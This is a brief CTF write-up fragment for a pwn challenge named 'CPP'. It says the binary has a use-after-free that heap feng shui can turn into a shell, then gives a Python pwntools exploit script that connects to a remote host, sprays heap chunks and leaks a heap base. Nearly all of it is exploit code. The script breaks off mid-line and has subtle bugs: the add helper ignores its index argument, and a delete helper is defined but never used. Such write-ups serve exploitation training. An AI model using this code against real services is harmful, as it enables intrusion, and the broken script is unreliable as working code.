Pwn
CPP
解题思路
题⽬存在uaf,结合堆⻛⽔getshell
#!/usr/bin/python
#coding:utf-8
from pwn import *
context.log_level='debug'
#io=process("./chall",env={
"LD_PRELOAD":"./libc-2.31.so"})
io=remote('124.70.12.210', 10002)
libc=ELF("./libc-2.31.so")
sla=lambda a : io.sendlineafter(">",str(a))
ia =lambda : io.interactive()
def add(idx):
sla(0)#choice
sla("/bin/sh")
sla(i)#index
def dele(idx,ct='a'):
sla(1)#choice
sla(idx)
sla(ct)#index
#gdb.attach(io,'b *{}+0x0000555555554000'.format(0x13dd))
for i in range(0x420/0x20+2):
add(i)
add(2)
sla(1)#choice
sla(1)
heap_base=u64(io.recvuntil("\x0a")[-7:-1].ljust(8,'\x00'))-0x470+0x20
log